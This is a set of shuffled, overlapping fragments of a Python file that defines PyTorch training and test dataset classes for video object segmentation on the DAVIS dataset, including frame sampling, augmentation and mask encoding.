"== 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1)))",
"img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img",
"mask) else: img, mask = self.resize(img, mask) mask = np.array(mask, np.uint8) if i",
"elif self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list",
"= sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h",
"self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip def",
"= load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if self.output_size: out_h, out_w = self.output_size",
"choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj",
"mask, tuple - imset - clip_n: number of video clip for training, int",
"output size of image and mask, tuple - imset - max_obj_n: maximum number",
"w), dtype=torch.float) masks = torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np)",
"output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data",
"out_h) # h = self.out_h # w = self.out_w else: h, w =",
"print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine",
"output_size: output size of image and mask, tuple - imset - max_obj_n: maximum",
"0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self, idx):",
"torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx],",
"- imset - clip_n: number of video clip for training, int - max_obj_n:",
"tuple - imset - max_obj_n: maximum number of objects in a image for",
"crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj )",
"return len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p',",
"max_obj_n: maximum number of objects in a image for training, int ''' MAX_TRAINING_SKIP",
"torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for",
"img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames': video_len,",
"= (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__':",
"{ 'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) } return frames, masks, obj_n,",
"= random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice",
"idx_list } return frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r''' - root: data",
"out_w = self.output_size if original_h < out_h: h, w = original_h, original_w else:",
"matplotlib.pyplot as plt from PIL import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class",
"int - max_obj_n: maximum number of objects in a image for training, int",
"output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj = single_obj dataset_path = os.path.join(root,",
"num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask,",
"frame, mask, num_obj = data[0][0], data[1][0], data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask),",
"h = self.out_h # w = self.out_w else: h, w = original_h, original_w",
"0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample)",
"load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img = self.color_jitter(img)",
"__getitem__(self, idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir =",
"self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def",
"= fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in range(mask.shape[0]):",
"obj_n = first_mask_np.max() + 1 video_len = len(img_list) frames = torch.zeros((video_len, 3, h,",
"dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize =",
"int ''' MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5,",
"= output_size self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment = increment self.smaples =",
"'*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size",
"min(self.clip_n, img_n) for i in range(sample_n): if i == 0: last_sample = random.choice(range(0,",
"datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data root path, str",
"os import numpy as np from glob import glob import random import torch",
"of video clip for training, int - max_obj_n: maximum number of objects in",
"training, int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root",
"def build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1],",
"import matplotlib.pyplot as plt from PIL import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot",
"< self.clip_n: # short video idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n, 3,",
"self.out_w else: h, w = original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np",
"video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) } return frames, masks, obj_n, info def",
"0)) plt.pause(0.01) for k in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') #",
"else: img, mask = self.resize(img, mask) mask = np.array(mask, np.uint8) if i ==",
"for i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR)",
"* self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p',",
"''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj =",
"DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i,",
"= os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as lines: for",
"== '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True,",
"in range(sample_n): if i == 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample =",
"img, mask = self.random_resize_crop(img, mask) else: img, mask = self.resize(img, mask) mask =",
"utils.system import load_image_in_PIL, gct import matplotlib.pyplot as plt from PIL import Image from",
"Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames': video_len, 'original_size': (original_h,",
"- clip_n: number of video clip for training, int - max_obj_n: maximum number",
"i == 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1,",
"dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400,",
"frames, masks, obj_n, info def build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE,",
"> 1] = 1 obj_n = first_mask_np.max() + 1 video_len = len(img_list) frames",
"output_size: output size of image and mask, tuple - imset - clip_n: number",
"img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random':",
"video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations',",
"= 1 obj_n = first_mask_np.max() + 1 video_len = len(img_list) frames = torch.zeros((video_len,",
"obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info = { 'name': video_name, 'idx_list':",
"self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name)",
"of image and mask, tuple - imset - clip_n: number of video clip",
"next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj = data[0][0], data[1][0], data[2][0] frame,",
"clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root = root self.clip_n = clip_n",
"size of image and mask, tuple - imset - max_obj_n: maximum number of",
"obj_n = 1 while obj_n == 1: if self.sample_choice == 'order': idx_list =",
"== 0: mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list) + 1 else: mask,",
"import torch from torch.utils import data import torchvision.transforms as TF import datasets.transform as",
"mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1),",
"self.to_onehot(mask) obj_n = len(obj_list) + 1 else: mask, _ = self.to_onehot(mask, obj_list) frames[i]",
"last_sample = -1 sample_n = min(self.clip_n, img_n) for i in range(sample_n): if i",
"imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root = root self.clip_n =",
"choice self.crop = crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with",
"len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages',",
"root: data root path, str - output_size: output size of image and mask,",
"== 'order': idx_list = list() last_sample = -1 sample_n = min(self.clip_n, img_n) for",
"original_h < out_h: h, w = original_h, original_w else: h = out_h w",
"first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] =",
"ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn,",
"len(img_list) obj_n = 1 while obj_n == 1: if self.sample_choice == 'order': idx_list",
"img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) < self.clip_n: # short",
"= torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n]",
"self.dataset_list = list() self.output_size = output_size with open(os.path.join(dataset_path), 'r') as lines: for line",
"self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1,",
"for i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P')",
"video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list =",
"videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15,",
"original_w, original_h = first_mask.size if self.output_size: out_h, out_w = self.output_size if original_h <",
"TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if",
"= random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list = list(range(img_n))",
"TF import datasets.transform as mytrans from utils.system import load_image_in_PIL, gct import matplotlib.pyplot as",
"{len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine =",
"sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n = 1 while",
"-1 sample_n = min(self.clip_n, img_n) for i in range(sample_n): if i == 0:",
"i in range(sample_n): if i == 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample",
"= self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p',",
"= { 'name': video_name, 'idx_list': idx_list } return frames, masks, obj_n, info class",
"= out_h w = int(original_w / original_h * out_h) # h = self.out_h",
"# h = self.out_h # w = self.out_w else: h, w = original_h,",
"= img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames':",
"'*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if self.output_size: out_h, out_w",
"else: h, w = original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np =",
"increment=5, samples=2, choice='order', crop=False): self.root = root self.clip_n = clip_n self.output_size = output_size",
"plt.pause(0.01) for k in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k,",
"mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot",
"raise NotImplementedError() while len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1]) if not self.crop:",
"max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return",
"load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = {",
"output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root = root self.clip_n",
"drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj =",
"increment self.smaples = samples self.sample_choice = choice self.crop = crop dataset_path = os.path.join(root,",
"root path, str - output_size: output size of image and mask, tuple -",
"= min(self.clip_n, img_n) for i in range(sample_n): if i == 0: last_sample =",
"w = int(original_w / original_h * out_h) # h = self.out_h # w",
"0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment,",
"self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) } return",
"video_name, 'idx_list': idx_list } return frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r''' -",
"mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir,",
"samples=2, choice='order', crop=False): self.root = root self.clip_n = clip_n self.output_size = output_size self.max_obj_n",
"> 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1,",
"mask = self.resize(img, mask) mask = np.array(mask, np.uint8) if i == 0: mask,",
"= int(original_w / original_h * out_h) # h = self.out_h # w =",
"img_n = len(img_list) obj_n = 1 while obj_n == 1: if self.sample_choice ==",
"= len(img_list) obj_n = 1 while obj_n == 1: if self.sample_choice == 'order':",
"427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data =",
"original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj:",
"'*.png'))) img_n = len(img_list) obj_n = 1 while obj_n == 1: if self.sample_choice",
"sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) <",
"self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks =",
"self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size =",
"np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n = first_mask_np.max() + 1",
"class DAVIS_Train(data.Dataset): r''' - root: data root path, str - output_size: output size",
"max_skip): self.max_skip = max_skip def __len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self, idx):",
"= data[0][0], data[1][0], data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig =",
"0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1,",
"'r') as lines: for line in lines: dataset_name = line.strip() if len(dataset_name) >",
"'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else:",
"= self.to_onehot(mask) obj_n = len(obj_list) + 1 else: mask, _ = self.to_onehot(mask, obj_list)",
"list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError() while",
"self.root = root self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list =",
"max_skip self.increment = increment self.smaples = samples self.sample_choice = choice self.crop = crop",
"min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n =",
"shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir =",
"= first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1]",
"= mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx]",
"if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406],",
"self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment = increment self.smaples = samples self.sample_choice",
"1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize",
"a image for training, int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False):",
"0: img = self.color_jitter(img) img, mask = self.random_affine(img, mask) if self.crop: img, mask",
"mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if",
"dtype=torch.float) for i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx],",
"ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in",
"mask) mask = np.array(mask, np.uint8) if i == 0: mask, obj_list = self.to_onehot(mask)",
"self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name)",
"mask, num_obj = data[0][0], data[1][0], data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask))",
"mask[:obj_n] for i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h),",
"'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as lines: for line in",
"lines: for line in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name)",
"{ 'name': video_name, 'idx_list': idx_list } return frames, masks, obj_n, info class DAVIS_Test(data.Dataset):",
"class DAVIS_Test(data.Dataset): r''' - root: data root path, str - output_size: output size",
"*self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n,",
"0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name",
"= min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) < self.clip_n:",
"'480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list)",
"= self.normalize(self.to_tensor(img)) masks[i] = mask info = { 'name': video_name, 'idx_list': idx_list }",
"1 else: mask, _ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask",
"np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n = first_mask_np.max() +",
"1 video_len = len(img_list) frames = torch.zeros((video_len, 3, h, w), dtype=torch.float) masks =",
"h, w = original_h, original_w else: h = out_h w = int(original_w /",
"obj_n, info def build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS,",
"img = img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = { 'name': video_name,",
"sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h =",
"frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400),",
"idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n)",
"w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in range(video_len):",
"idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n,",
"of objects in a image for training, int ''' def __init__(self, root, output_size=None,",
"mask, tuple - imset - max_obj_n: maximum number of objects in a image",
"a image for training, int ''' MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size,",
"def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip =",
"root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj = single_obj dataset_path =",
"of objects in a image for training, int ''' MAX_TRAINING_SKIP = 100 def",
"single_obj=single_obj ) if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader",
"# short video idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float)",
"j in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01)",
"objects in a image for training, int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt',",
"== 1: if self.sample_choice == 'order': idx_list = list() last_sample = -1 sample_n",
"size of image and mask, tuple - imset - clip_n: number of video",
"mask = np.array(mask, np.uint8) if i == 0: mask, obj_list = self.to_onehot(mask) obj_n",
"ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0),",
"max_obj_n self.max_skip = max_skip self.increment = increment self.smaples = samples self.sample_choice = choice",
"torch.min(mask)) fig = plt.figure() for j in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1)",
"h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in",
"maximum number of objects in a image for training, int ''' MAX_TRAINING_SKIP =",
"if self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n = first_mask_np.max() + 1 video_len",
"self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n = first_mask_np.max() + 1 video_len =",
"if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds,",
"h, w), dtype=torch.float) masks = torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _ =",
"'ImageSets', img_set) self.dataset_list = list() self.output_size = output_size with open(os.path.join(dataset_path), 'r') as lines:",
"os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size = output_size with open(os.path.join(dataset_path), 'r') as",
"os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n",
"self.random_affine(img, mask) if self.crop: img, mask = self.random_resize_crop(img, mask) else: img, mask =",
"import torchvision.transforms as TF import datasets.transform as mytrans from utils.system import load_image_in_PIL, gct",
"else: h = out_h w = int(original_w / original_h * out_h) # h",
"i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) # plt.imsave('test{}.png'.format(k),",
"self.crop = crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path),",
"0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP)",
"self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float)",
"imset - clip_n: number of video clip for training, int - max_obj_n: maximum",
"torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for",
"data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2],",
"max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader))",
"len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1,",
"root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj =",
"self.output_size: out_h, out_w = self.output_size if original_h < out_h: h, w = original_h,",
"and mask, tuple - imset - clip_n: number of video clip for training,",
"+ 1 else: mask, _ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] =",
"training, int ''' MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7,",
